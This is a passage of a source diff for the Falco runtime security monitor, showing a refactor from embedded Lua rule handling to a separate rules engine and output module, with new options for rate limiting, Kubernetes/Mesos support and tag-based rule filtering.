+// for limited bursting in the form of "banked" tokens.
+class token_bucket
+{
+public:
+	token_bucket();
+	virtual ~token_bucket();
+
+	//
+	// Initialize the token bucket and start accumulating tokens
+	//
+	void init(double rate, double max_tokens, uint64_t now = 0);
+
+	//
+	// Try to claim tokens tokens from the token bucket, using a
+	// timestamp of now. Returns true if the tokens could be
+	// claimed. Also updates internal metrics.
+	//
+	bool claim(double tokens, uint64_t now);
+
+	// Simpler version of claim that claims a single token and
+	// uses the current time for now
+	bool claim();
+
+	// Return the current number of tokens available
+	double get_tokens();
+
+	// Return the last time someone tried to claim a token.
+	uint64_t get_last_seen();
+
+private:
+
+	//
+	// The number of tokens generated per second.
+	//
+	double m_rate;
+
+	//
+	// The maximum number of tokens that can be banked for future
+	// claim()s.
+	//
+	double m_max_tokens;
+
+	//
+	// The current number of tokens
+	//
+	double m_tokens;
+
+	//
+	// The last time claim() was called (or the object was created).
+	// Nanoseconds since the epoch.
+	//
+	uint64_t m_last_seen;
+};
+

userspace/falco/CMakeLists.txt

@@ -1,27 +1,25 @@
-include_directories(${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp/third-party/jsoncpp)
+include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp/third-party/jsoncpp")
 include_directories("${LUAJIT_INCLUDE}")
 
-include_directories(${PROJECT_SOURCE_DIR}/../sysdig/userspace/libscap)
-include_directories(${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp)
+include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libscap")
+include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp")
+include_directories("${PROJECT_SOURCE_DIR}/userspace/engine")
 include_directories("${PROJECT_BINARY_DIR}/userspace/falco")
 include_directories("${CURL_INCLUDE_DIR}")
 include_directories("${YAMLCPP_INCLUDE_DIR}")
-include_directories(${DRAIOS_DEPENDENCIES_DIR}/yaml-${DRAIOS_YAML_VERSION}/target/include)
+include_directories("${DRAIOS_DEPENDENCIES_DIR}/yaml-${DRAIOS_YAML_VERSION}/target/include")
 
-add_executable(falco configuration.cpp formats.cpp fields.cpp rules.cpp logger.cpp falco.cpp)
+add_executable(falco configuration.cpp logger.cpp falco_outputs.cpp statsfilewriter.cpp falco.cpp)
 
-target_link_libraries(falco sinsp)
+target_link_libraries(falco falco_engine sinsp)
 target_link_libraries(falco
-	"${LPEG_SRC}/lpeg.a"
-	"${LYAML_LIB}"
         "${LIBYAML_LIB}"
 	"${YAMLCPP_LIB}")
 
 
-set(FALCO_LUA_MAIN "rule_loader.lua")
 configure_file(config_falco.h.in config_falco.h)
 
-install(TARGETS falco DESTINATION bin)
+install(TARGETS falco DESTINATION ${FALCO_BIN_DIR})
 install(DIRECTORY lua
-	DESTINATION share/falco
+	DESTINATION ${FALCO_SHARE_DIR}
 	FILES_MATCHING PATTERN *.lua)

userspace/falco/config_falco.h.in

@@ -2,13 +2,10 @@
 
 #define FALCO_VERSION "${FALCO_VERSION}"
 
-#define FALCO_LUA_DIR "/usr/share/falco/lua/"
+#define FALCO_LUA_DIR "${CMAKE_INSTALL_PREFIX}/${FALCO_SHARE_DIR}/lua/"
 #define FALCO_SOURCE_DIR "${PROJECT_SOURCE_DIR}"
 #define FALCO_SOURCE_CONF_FILE "${PROJECT_SOURCE_DIR}/falco.yaml"
 #define FALCO_INSTALL_CONF_FILE "/etc/falco.yaml"
 #define FALCO_SOURCE_LUA_DIR "${PROJECT_SOURCE_DIR}/userspace/falco/lua/"
 
-
-#define FALCO_LUA_MAIN "${FALCO_LUA_MAIN}"
-
 #define PROBE_NAME "${PROBE_NAME}"

userspace/falco/configuration.cpp

@@ -1,32 +1,60 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
 #include "configuration.h"
-#include "config_falco.h"
-#include "sinsp.h"
 #include "logger.h"
 
 using namespace std;
 
+falco_configuration::falco_configuration()
+	: m_config(NULL)
+{
+}
+
+falco_configuration::~falco_configuration()
+{
+	if (m_config)
+	{
+		delete m_config;
+	}
+}
 
 // If we don't have a configuration file, we just use stdout output and all other defaults
-void falco_configuration::init(std::list<std::string> &cmdline_options)
+void falco_configuration::init(list<string> &cmdline_options)
 {
 	init_cmdline_options(cmdline_options);
 
-	output_config stdout_output;
+	falco_outputs::output_config stdout_output;
 	stdout_output.name = "stdout";
 	m_outputs.push_back(stdout_output);
 }
 
-void falco_configuration::init(string conf_filename, std::list<std::string> &cmdline_options)
+void falco_configuration::init(string conf_filename, list<string> &cmdline_options)
 {
 	string m_config_file = conf_filename;
 	m_config = new yaml_configuration(m_config_file);
 
 	init_cmdline_options(cmdline_options);
 
-	m_rules_filename = m_config->get_scalar<string>("rules_file", "/etc/falco_rules.yaml");
+	m_rules_filenames.push_back(m_config->get_scalar<string>("rules_file", "/etc/falco_rules.yaml"));
 	m_json_output = m_config->get_scalar<bool>("json_output", false);
 
-	output_config file_output;
+	falco_outputs::output_config file_output;
 	file_output.name = "file";
 	if (m_config->get_scalar<bool>("file_output", "enabled", false))
 	{
@@ -34,31 +62,52 @@ void falco_configuration::init(string conf_filename, std::list<std::string> &cmd
 		filename = m_config->get_scalar<string>("file_output", "filename", "");
 		if (filename == string(""))
 		{
-			throw sinsp_exception("Error reading config file (" + m_config_file + "): file output enabled but no filename in configuration block");
+			throw invalid_argument("Error reading config file (" + m_config_file + "): file output enabled but no filename in configuration block");
 		}
 		file_output.options["filename"] = filename;
 		m_outputs.push_back(file_output);
 	}
 
-	output_config stdout_output;
+	falco_outputs::output_config stdout_output;
 	stdout_output.name = "stdout";
 	if (m_config->get_scalar<bool>("stdout_output", "enabled", false))
 	{
 		m_outputs.push_back(stdout_output);
 	}
 
-	output_config syslog_output;
+	falco_outputs::output_config syslog_output;
 	syslog_output.name = "syslog";
 	if (m_config->get_scalar<bool>("syslog_output", "enabled", false))
 	{
 		m_outputs.push_back(syslog_output);
 	}
 
+	falco_outputs::output_config program_output;
+	program_output.name = "program";
+	if (m_config->get_scalar<bool>("program_output", "enabled", false))
+	{
+		string program;
+		program = m_config->get_scalar<string>("program_output", "program", "");
+		if (program == string(""))
+		{
+			throw sinsp_exception("Error reading config file (" + m_config_file + "): program output enabled but no program in configuration block");
+		}
+		program_output.options["program"] = program;
+		m_outputs.push_back(program_output);
+	}
+
 	if (m_outputs.size() == 0)
 	{
-		throw sinsp_exception("Error reading config file (" + m_config_file + "): No outputs configured. Please configure at least one output file output enabled but no filename in configuration block");
+		throw invalid_argument("Error reading config file (" + m_config_file + "): No outputs configured. Please configure at least one output file output enabled but no filename in configuration block");
 	}
 
+	string log_level = m_config->get_scalar<string>("log_level", "info");
+
+	falco_logger::set_level(log_level);
+
+	m_notifications_rate = m_config->get_scalar<uint32_t>("outputs", "rate", 1);
+	m_notifications_max_burst = m_config->get_scalar<uint32_t>("outputs", "max_burst", 1000);
+
 	falco_logger::log_stderr = m_config->get_scalar<bool>("log_stderr", false);
 	falco_logger::log_syslog = m_config->get_scalar<bool>("log_syslog", true);
 }
@@ -76,7 +125,7 @@ static bool split(const string &str, char delim, pair<string,string> &parts)
 	return true;
 }
 
-void falco_configuration::init_cmdline_options(std::list<std::string> &cmdline_options)
+void falco_configuration::init_cmdline_options(list<string> &cmdline_options)
 {
 	for(const string &option : cmdline_options)
 	{
@@ -84,13 +133,13 @@ void falco_configuration::init_cmdline_options(std::list<std::string> &cmdline_o
 	}
 }
 
-void falco_configuration::set_cmdline_option(const std::string &opt)
+void falco_configuration::set_cmdline_option(const string &opt)
 {
 	pair<string,string> keyval;
 	pair<string,string> subkey;
 
 	if (! split(opt, '=', keyval)) {
-		throw sinsp_exception("Error parsing config option \"" + opt + "\". Must be of the form key=val or key.subkey=val");
+		throw invalid_argument("Error parsing config option \"" + opt + "\". Must be of the form key=val or key.subkey=val");
 	}
 
 	if (split(keyval.first, '.', subkey)) {

userspace/falco/configuration.h

@@ -1,13 +1,30 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
 #pragma once
 
 #include <yaml-cpp/yaml.h>
+#include <string>
+#include <vector>
+#include <list>
 #include <iostream>
 
-struct output_config
-{
-	std::string name;
-	std::map<std::string, std::string> options;
-};
+#include "falco_outputs.h"
 
 class yaml_configuration
 {
@@ -17,7 +34,7 @@ public:
 	{
 		m_path = path;
 		YAML::Node config;
-		std::vector<output_config> outputs;
+		std::vector<falco_outputs::output_config> outputs;
 		try
 		{
 			m_root = YAML::LoadFile(path);
@@ -118,12 +135,17 @@ private:
 class falco_configuration
 {
  public:
+	falco_configuration();
+	virtual ~falco_configuration();
+
 	void init(std::string conf_filename, std::list<std::string> &cmdline_options);
 	void init(std::list<std::string> &cmdline_options);
 
-	std::string m_rules_filename;
+	std::list<std::string> m_rules_filenames;
 	bool m_json_output;
-	std::vector<output_config> m_outputs;
+	std::vector<falco_outputs::output_config> m_outputs;
+	uint32_t m_notifications_rate;
+	uint32_t m_notifications_max_burst;
  private:
 	void init_cmdline_options(std::list<std::string> &cmdline_options);
 

userspace/falco/falco.cpp

@@ -1,33 +1,51 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
 #define __STDC_FORMAT_MACROS
 
 #include <stdio.h>
-#include <iostream>
+#include <fstream>
+#include <set>
+#include <list>
+#include <string>
 #include <signal.h>
-#include <time.h>
 #include <fcntl.h>
 #include <sys/stat.h>
-#include <algorithm>
 #include <unistd.h>
 #include <getopt.h>
 
-extern "C" {
-#include "lua.h"
-#include "lualib.h"
-#include "lauxlib.h"
-#include "lpeg.h"
-#include "lyaml.h"
-}
-
 #include <sinsp.h>
-#include "config_falco.h"
-#include "configuration.h"
-#include "rules.h"
-#include "formats.h"
-#include "fields.h"
-#include "logger.h"
-#include "utils.h"
-#include <yaml-cpp/yaml.h>
 
+#include "logger.h"
+
+#include "configuration.h"
+#include "falco_engine.h"
+#include "config_falco.h"
+#include "statsfilewriter.h"
+
+bool g_terminate = false;
+//
+// Helper functions
+//
+static void signal_callback(int signal)
+{
+	g_terminate = true;
+}
 
 //
 // Program help
@@ -35,23 +53,67 @@ extern "C" {
 static void usage()
 {
     printf(
+	   "falco version " FALCO_VERSION "\n"
 	   "Usage: falco [options]\n\n"
 	   "Options:\n"
 	   " -h, --help                    Print this page\n"
 	   " -c                            Configuration file (default " FALCO_SOURCE_CONF_FILE ", " FALCO_INSTALL_CONF_FILE ")\n"
-	   " -o, --option <key>=<val>      Set the value of option <key> to <val>. Overrides values in configuration file.\n"
-	   "                               <key> can be a two-part <key>.<subkey>\n"
+	   " -A                            Monitor all events, including those with EF_DROP_FALCO flag.\n"
 	   " -d, --daemon                  Run as a daemon\n"
-	   " -p, --pidfile <pid_file>      When run as a daemon, write pid to specified file\n"
+	   " -D <pattern>                  Disable any rules matching the regex <pattern>. Can be specified multiple times.\n"
+	   "                               Can not be specified with -t.\n"
            " -e <events_file>              Read the events from <events_file> (in .scap format) instead of tapping into live.\n"
-           " -r <rules_file>               Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n"
+	   " -k <url>, --k8s-api=<url>\n"
+	   "                               Enable Kubernetes support by connecting to the API server\n"
+      	   "                               specified as argument. E.g. \"http://admin:password@127.0.0.1:8080\".\n"
+	   "                               The API server can also be specified via the environment variable\n"
+	   "                               FALCO_K8S_API.\n"
+	   " -K <bt_file> | <cert_file>:<key_file[#password]>[:<ca_cert_file>], --k8s-api-cert=<bt_file> | <cert_file>:<key_file[#password]>[:<ca_cert_file>]\n"
+	   "                               Use the provided files names to authenticate user and (optionally) verify the K8S API\n"
+	   "                               server identity.\n"
+	   "                               Each entry must specify full (absolute, or relative to the current directory) path\n"
+	   "                               to the respective file.\n"
+	   "                               Private key password is optional (needed only if key is password protected).\n"
+	   "                               CA certificate is optional. For all files, only PEM file format is supported. \n"
+	   "                               Specifying CA certificate only is obsoleted - when single entry is provided \n"
+	   "                               for this option, it will be interpreted as the name of a file containing bearer token.\n"
+	   "                               Note that the format of this command-line option prohibits use of files whose names contain\n"
+	   "                               ':' or '#' characters in the file name.\n"
 	   " -L                            Show the name and description of all rules and exit.\n"
 	   " -l <rule>                     Show the name and description of the rule with name <rule> and exit.\n"
+	   " -m <url[,marathon_url]>, --mesos-api=<url[,marathon_url]>\n"
+	   "                               Enable Mesos support by connecting to the API server\n"
+	   "                               specified as argument. E.g. \"http://admin:password@127.0.0.1:5050\".\n"
+	   "                               Marathon url is optional and defaults to Mesos address, port 8080.\n"
+	   "                               The API servers can also be specified via the environment variable\n"
+	   "                               FALCO_MESOS_API.\n"
+	   " -M <num_seconds>              Stop collecting after <num_seconds> reached.\n"
+	   " -o, --option <key>=<val>      Set the value of option <key> to <val>. Overrides values in configuration file.\n"
+	   "                               <key> can be a two-part <key>.<subkey>\n"
+	   " -p <output_format>, --print=<output_format>\n"
+	   "                               Add additional information to each falco notification's output.\n"
+	   "                               With -pc or -pcontainer will use a container-friendly format.\n"
+	   "                               With -pk or -pkubernetes will use a kubernetes-friendly format.\n"
+	   "                               With -pm or -pmesos will use a mesos-friendly format.\n"
+	   "                               Additionally, specifying -pc/-pk/-pm will change the interpretation\n"
+	   "                               of %%container.info in rule output fields\n"
+	   "                               See the examples section below for more info.\n"
+	   " -P, --pidfile <pid_file>      When run as a daemon, write pid to specified file\n"
+           " -r <rules_file>               Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n"
+	   "                               Can be specified multiple times to read from multiple files.\n"
+	   " -s <stats_file>               If specified, write statistics related to falco's reading/processing of events\n"
+	   "                               to this file. (Only useful in live mode).\n"
+	   " -T <tag>                      Disable any rules with a tag=<tag>. Can be specified multiple times.\n"
+	   "                               Can not be specified with -t.\n"
+	   " -t <tag>                      Only run those rules with a tag=<tag>. Can be specified multiple times.\n"
+	   "                               Can not be specified with -T/-D.\n"
+	   " -v                            Verbose output.\n"
+           " --version                     Print version number.\n"
 	   "\n"
     );
 }
 
-static void display_fatal_err(const string &msg, bool daemon)
+static void display_fatal_err(const string &msg)
 {
 	falco_logger::log(LOG_ERR, msg);
 
@@ -65,22 +127,33 @@ static void display_fatal_err(const string &msg, bool daemon)
 	}
 }
 
-string lua_on_event = "on_event";
-string lua_add_output = "add_output";
-
 // Splitting into key=value or key.subkey=value will be handled by configuration class.
 std::list<string> cmdline_options;
 
 //
 // Event processing loop
 //
-void do_inspect(sinsp* inspector,
-		falco_rules* rules,
-		lua_State* ls)
+uint64_t do_inspect(falco_engine *engine,
+		    falco_outputs *outputs,
+		    sinsp* inspector,
+		    uint64_t duration_to_tot_ns,
+		    string &stats_filename)
 {
+	uint64_t num_evts = 0;
 	int32_t res;
 	sinsp_evt* ev;
-	string line;
+	StatsFileWriter writer;
+	uint64_t duration_start = 0;
+
+	if (stats_filename != "")
+	{
+		string errstr;
+
+		if (!writer.init(inspector, stats_filename, 5, errstr))
+		{
+			throw falco_exception(errstr);
+		}
+	}
 
 	//
 	// Loop through the events
@@ -90,7 +163,13 @@ void do_inspect(sinsp* inspector,
 
 		res = inspector->next(&ev);
 
-		if(res == SCAP_TIMEOUT)
+		writer.handle();
+
+		if (g_terminate)
+		{
+			break;
+		}
+		else if(res == SCAP_TIMEOUT)
 		{
 			continue;
 		}
@@ -108,98 +187,40 @@ void do_inspect(sinsp* inspector,
 			throw sinsp_exception(inspector->getlasterr().c_str());
 		}
 
+		if (duration_start == 0)
+		{
+			duration_start = ev->get_ts();
+		} else if(duration_to_tot_ns > 0)
+		{
+			if(ev->get_ts() - duration_start >= duration_to_tot_ns)
+			{
+				break;
+			}
+		}
+
 		if(!inspector->is_debug_enabled() &&
 			ev->get_category() & EC_INTERNAL)
 		{
 			continue;
 		}
 
-		lua_getglobal(ls, lua_on_event.c_str());
-
-		if(lua_isfunction(ls, -1))
+		// As the inspector has no filter at its level, all
+		// events are returned here. Pass them to the falco
+		// engine, which will match the event against the set
+		// of rules. If a match is found, pass the event to
+		// the outputs.
+		unique_ptr<falco_engine::rule_result> res = engine->process_event(ev);
+		if(res)
 		{
-			lua_pushlightuserdata(ls, ev);
-			lua_pushnumber(ls, ev->get_check_id());
-
-			if(lua_pcall(ls, 2, 0, 0) != 0)
-			{
-				const char* lerr = lua_tostring(ls, -1);
-				string err = "Error invoking function output: " + string(lerr);
-				throw sinsp_exception(err);
-			}
-		}
-		else
-		{
-			throw sinsp_exception("No function " + lua_on_event + " found in lua compiler module");
+			outputs->handle_event(res->evt, res->rule, res->priority, res->format);
 		}
+
+		num_evts++;
 	}
+
+	return num_evts;
 }
 
-void add_lua_path(lua_State *ls, string path)
-{
-	string cpath = string(path);
-	path += "?.lua";
-	cpath += "?.so";
-
-	lua_getglobal(ls, "package");
-
-	lua_getfield(ls, -1, "path");
-	string cur_path = lua_tostring(ls, -1 );
-	cur_path += ';';
-	lua_pop(ls, 1);
-
-	cur_path.append(path.c_str());
-
-	lua_pushstring(ls, cur_path.c_str());
-	lua_setfield(ls, -2, "path");
-
-	lua_getfield(ls, -1, "cpath");
-	string cur_cpath = lua_tostring(ls, -1 );
-	cur_cpath += ';';
-	lua_pop(ls, 1);
-
-	cur_cpath.append(cpath.c_str());
-
-	lua_pushstring(ls, cur_cpath.c_str());
-	lua_setfield(ls, -2, "cpath");
-
-	lua_pop(ls, 1);
-}
-
-void add_output(lua_State *ls, output_config oc)
-{
-
-	uint8_t nargs = 1;
-	lua_getglobal(ls, lua_add_output.c_str());
-
-	if(!lua_isfunction(ls, -1))
-	{
-		throw sinsp_exception("No function " + lua_add_output + " found. ");
-	}
-	lua_pushstring(ls, oc.name.c_str());
-
-	// If we have options, build up a lua table containing them
-	if (oc.options.size())
-	{
-		nargs = 2;
-		lua_createtable(ls, 0, oc.options.size());
-
-		for (auto it = oc.options.cbegin(); it != oc.options.cend(); ++it)
-		{
-			lua_pushstring(ls, (*it).second.c_str());
-			lua_setfield(ls, -2, (*it).first.c_str());
-		}
-	}
-
-	if(lua_pcall(ls, nargs, 0, 0) != 0)
-	{
-		const char* lerr = lua_tostring(ls, -1);
-		throw sinsp_exception(string(lerr));
-	}
-
-}
-
-
 //
 // ARGUMENT PARSING AND PROGRAM SETUP
 //
@@ -207,40 +228,69 @@ int falco_init(int argc, char **argv)
 {
 	int result = EXIT_SUCCESS;
 	sinsp* inspector = NULL;
-	falco_rules* rules = NULL;
+	falco_engine *engine = NULL;
+	falco_outputs *outputs = NULL;
 	int op;
-	sinsp_evt::param_fmt event_buffer_format;
 	int long_index = 0;
-	string lua_main_filename;
 	string scap_filename;
 	string conf_filename;
-	string rules_filename;
-	string lua_dir = FALCO_LUA_DIR;
-	lua_State* ls = NULL;
+	string outfile;
+	list<string> rules_filenames;
 	bool daemon = false;
 	string pidfilename = "/var/run/falco.pid";
 	bool describe_all_rules = false;
 	string describe_rule = "";
+	string stats_filename = "";
+	bool verbose = false;
+	bool all_events = false;
+	string* k8s_api = 0;
+	string* k8s_api_cert = 0;
+	string* mesos_api = 0;
+	string output_format = "";
+	bool replace_container_info = false;
+	int duration_to_tot = 0;
+
+	// Used for writing trace files
+	int duration_seconds = 0;
+	int rollover_mb = 0;
+	int file_limit = 0;
+	unsigned long event_limit = 0L;
+	bool compress = false;
+
+	// Used for stats
+	uint64_t num_evts;
+	double duration;
+	scap_stats cstats;
 
 	static struct option long_options[] =
 	{
 		{"help", no_argument, 0, 'h' },
 		{"daemon", no_argument, 0, 'd' },
+		{"k8s-api", required_argument, 0, 'k'},
+		{"k8s-api-cert", required_argument, 0, 'K' },
+		{"mesos-api", required_argument, 0, 'm'},
 		{"option", required_argument, 0, 'o'},
-		{"pidfile", required_argument, 0, 'p' },
+		{"print", required_argument, 0, 'p' },
+		{"pidfile", required_argument, 0, 'P' },
+		{"version", no_argument, 0, 0 },
+		{"writefile", required_argument, 0, 'w' },
 
 		{0, 0, 0, 0}
 	};
 
 	try
 	{
-		inspector = new sinsp();
+		set<string> disabled_rule_patterns;
+		string pattern;
+		string all_rules = ".*";
+		set<string> disabled_rule_tags;
+		set<string> enabled_rule_tags;
 
 		//
 		// Parse the args
 		//
 		while((op = getopt_long(argc, argv,
-                                        "c:ho:e:r:dp:Ll:",
+                                        "hc:AdD:e:k:K:Ll:m:M:o:P:p:r:s:T:t:vw:",
                                         long_options, &long_index)) != -1)
 		{
 			switch(op)
@@ -251,20 +301,26 @@ int falco_init(int argc, char **argv)
 			case 'c':
 				conf_filename = optarg;
 				break;
-			case 'o':
-				cmdline_options.push_back(optarg);
-				break;
-			case 'e':
-				scap_filename = optarg;
-				break;
-			case 'r':
-				rules_filename = optarg;
+			case 'A':
+				all_events = true;
 				break;
 			case 'd':
 				daemon = true;
 				break;
-			case 'p':
-				pidfilename = optarg;
+			case 'D':
+				pattern = optarg;
+				disabled_rule_patterns.insert(pattern);
+				break;
+			case 'e':
+				scap_filename = optarg;
+				k8s_api = new string();
+				mesos_api = new string();
+				break;
+			case 'k':
+				k8s_api = new string(optarg);
+				break;
+			case 'K':
+				k8s_api_cert = new string(optarg);
 				break;
 			case 'L':
 				describe_all_rules = true;
@@ -272,6 +328,62 @@ int falco_init(int argc, char **argv)
 			case 'l':
 				describe_rule = optarg;
 				break;
+			case 'm':
+				mesos_api = new string(optarg);
+				break;
+			case 'M':
+				duration_to_tot = atoi(optarg);
+				if(duration_to_tot <= 0)
+				{
+					throw sinsp_exception(string("invalid duration") + optarg);
+				}
+				break;
+			case 'o':
+				cmdline_options.push_back(optarg);
+				break;
+			case 'P':
+				pidfilename = optarg;
+				break;
+			case 'p':
+				if(string(optarg) == "c" || string(optarg) == "container")
+				{
+					output_format = "container=%container.name (id=%container.id)";
+					replace_container_info = true;
+				}
+				else if(string(optarg) == "k" || string(optarg) == "kubernetes")
+				{
+					output_format = "k8s.pod=%k8s.pod.name container=%container.id";
+					replace_container_info = true;
+				}
+				else if(string(optarg) == "m" || string(optarg) == "mesos")
+				{
+					output_format = "task=%mesos.task.name container=%container.id";
+					replace_container_info = true;
+				}
+				else
+				{
+					output_format = optarg;
+					replace_container_info = false;
+				}
+				break;
+			case 'r':
+				rules_filenames.push_back(optarg);
+				break;
+			case 's':
+				stats_filename = optarg;
+				break;
+			case 'T':
+				disabled_rule_tags.insert(optarg);
+				break;
+			case 't':
+				enabled_rule_tags.insert(optarg);
+				break;
+			case 'v':
+				verbose = true;
+				break;
+			case 'w':
+				outfile = optarg;
+				break;
 			case '?':
 				result = EXIT_FAILURE;
 				goto exit;
@@ -281,31 +393,46 @@ int falco_init(int argc, char **argv)
 
 		}
 
-		// Some combinations of arguments are not allowed.
-		if (daemon && pidfilename == "") {
-			throw sinsp_exception("If -d is provided, a pid file must also be provided");
+		if(string(long_options[long_index].name) == "version")
+		{
+			printf("falco version %s\n", FALCO_VERSION);
+			return EXIT_SUCCESS;
 		}
 
-		ifstream* conf_stream;
+
+		inspector = new sinsp();
+		engine = new falco_engine();
+		engine->set_inspector(inspector);
+		engine->set_extra(output_format, replace_container_info);
+
+		outputs = new falco_outputs();
+		outputs->set_inspector(inspector);
+
+		// Some combinations of arguments are not allowed.
+		if (daemon && pidfilename == "") {
+			throw std::invalid_argument("If -d is provided, a pid file must also be provided");
+		}
+
+		ifstream conf_stream;
 		if (conf_filename.size())
 		{
-			conf_stream = new ifstream(conf_filename);
-			if (!conf_stream->good())
+			conf_stream.open(conf_filename);
+			if (!conf_stream.is_open())
 			{
-				throw sinsp_exception("Could not find configuration file at " + conf_filename);
+				throw std::runtime_error("Could not find configuration file at " + conf_filename);
 			}
 		}
 		else
 		{
-			conf_stream = new ifstream(FALCO_SOURCE_CONF_FILE);
-			if (conf_stream->good())
+			conf_stream.open(FALCO_SOURCE_CONF_FILE);
+			if (conf_stream.is_open())
 			{
 				conf_filename = FALCO_SOURCE_CONF_FILE;
 			}
 			else
 			{
-				conf_stream = new ifstream(FALCO_INSTALL_CONF_FILE);
-				if (conf_stream->good())
+				conf_stream.open(FALCO_INSTALL_CONF_FILE);
+				if (conf_stream.is_open())
 				{
 					conf_filename = FALCO_INSTALL_CONF_FILE;
 				}
@@ -329,73 +456,89 @@ int falco_init(int argc, char **argv)
 			falco_logger::log(LOG_INFO, "Falco initialized. No configuration file found, proceeding with defaults\n");
 		}
 
-		if (rules_filename.size())
+		if (rules_filenames.size())
 		{
-			config.m_rules_filename = rules_filename;
+			config.m_rules_filenames = rules_filenames;
 		}
 
-		lua_main_filename = lua_dir + FALCO_LUA_MAIN;
-		if (!std::ifstream(lua_main_filename))
+		for (auto filename : config.m_rules_filenames)
 		{
-			lua_dir = FALCO_SOURCE_LUA_DIR;
-			lua_main_filename = lua_dir + FALCO_LUA_MAIN;
-			if (!std::ifstream(lua_main_filename))
+			engine->load_rules_file(filename, verbose, all_events);
+			falco_logger::log(LOG_INFO, "Parsed rules from file " + filename + "\n");
+		}
+
+		// You can't both disable and enable rules
+		if((disabled_rule_patterns.size() + disabled_rule_tags.size() > 0) &&
+		    enabled_rule_tags.size() > 0) {
+			throw std::invalid_argument("You can not specify both disabled (-D/-T) and enabled (-t) rules");
+		}
+
+		for (auto pattern : disabled_rule_patterns)
+		{
+			falco_logger::log(LOG_INFO, "Disabling rules matching pattern: " + pattern + "\n");
+			engine->enable_rule(pattern, false);
+		}
+
+		if(disabled_rule_tags.size() > 0)
+		{
+			for(auto tag : disabled_rule_tags)
 			{
-				falco_logger::log(LOG_ERR, "Could not find Falco Lua libraries (tried " +
-						     string(FALCO_LUA_DIR FALCO_LUA_MAIN) + ", " +
-						     lua_main_filename + "). Exiting.\n");
-				result = EXIT_FAILURE;
-				goto exit;
+				falco_logger::log(LOG_INFO, "Disabling rules with tag: " + tag + "\n");
 			}
+			engine->enable_rule_by_tag(disabled_rule_tags, false);
 		}
 
-		// Initialize Lua interpreter
-		ls = lua_open();
-		luaL_openlibs(ls);
-		luaopen_lpeg(ls);
-		luaopen_yaml(ls);
-		add_lua_path(ls, lua_dir);
+		if(enabled_rule_tags.size() > 0)
+		{
 
-		rules = new falco_rules(inspector, ls, lua_main_filename);
+			// Since we only want to enable specific
+			// rules, first disable all rules.
+			engine->enable_rule(all_rules, false);
+			for(auto tag : enabled_rule_tags)
+			{
+				falco_logger::log(LOG_INFO, "Enabling rules with tag: " + tag + "\n");
+			}
+			engine->enable_rule_by_tag(enabled_rule_tags, true);
+		}
 
-		falco_formats::init(inspector, ls);
-		falco_fields::init(inspector, ls);
+		outputs->init(config.m_json_output, config.m_notifications_rate, config.m_notifications_max_burst);
 
-		falco_logger::init(ls);
-
-
-		inspector->set_drop_event_flags(EF_DROP_FALCO);
-		rules->load_rules(config.m_rules_filename);
-		inspector->set_filter(rules->get_filter());
-		falco_logger::log(LOG_INFO, "Parsed rules from file " + config.m_rules_filename + "\n");
+		if(!all_events)
+		{
+			inspector->set_drop_event_flags(EF_DROP_FALCO);
+		}
 
 		if (describe_all_rules)
 		{
-			rules->describe_rule(NULL);
+			engine->describe_rule(NULL);
 			goto exit;
 		}
 
 		if (describe_rule != "")
 		{
-			rules->describe_rule(&describe_rule);
+			engine->describe_rule(&describe_rule);
 			goto exit;
 		}
 
 		inspector->set_hostname_and_port_resolution_mode(false);
 
-		if (config.m_json_output)
+		for(auto output : config.m_outputs)
 		{
-			event_buffer_format = sinsp_evt::PF_JSON;
+			outputs->add_output(output);
 		}
-		else
-		{
-			event_buffer_format = sinsp_evt::PF_NORMAL;
-		}
-		inspector->set_buffer_format(event_buffer_format);
 
-		for(std::vector<output_config>::iterator it = config.m_outputs.begin(); it != config.m_outputs.end(); ++it)
+		if(signal(SIGINT, signal_callback) == SIG_ERR)
 		{
-			add_output(ls, *it);
+			fprintf(stderr, "An error occurred while setting SIGINT signal handler.\n");
+			result = EXIT_FAILURE;
+			goto exit;
+		}
+
+		if(signal(SIGTERM, signal_callback) == SIG_ERR)
+		{
+			fprintf(stderr, "An error occurred while setting SIGTERM signal handler.\n");
+			result = EXIT_FAILURE;
+			goto exit;
 		}
 
 		if (scap_filename.size())
@@ -406,7 +549,7 @@ int falco_init(int argc, char **argv)
 		{
 			try
 			{
-				inspector->open();
+				inspector->open(200);
 			}
 			catch(sinsp_exception e)
 			{
@@ -473,36 +616,110 @@ int falco_init(int argc, char **argv)
 			open("/dev/null", O_RDWR);
 		}
 
-		do_inspect(inspector,
-			   rules,
-			   ls);
+		if(outfile != "")
+		{
+			inspector->setup_cycle_writer(outfile, rollover_mb, duration_seconds, file_limit, event_limit, compress);
+			inspector->autodump_next_file();
+		}
+
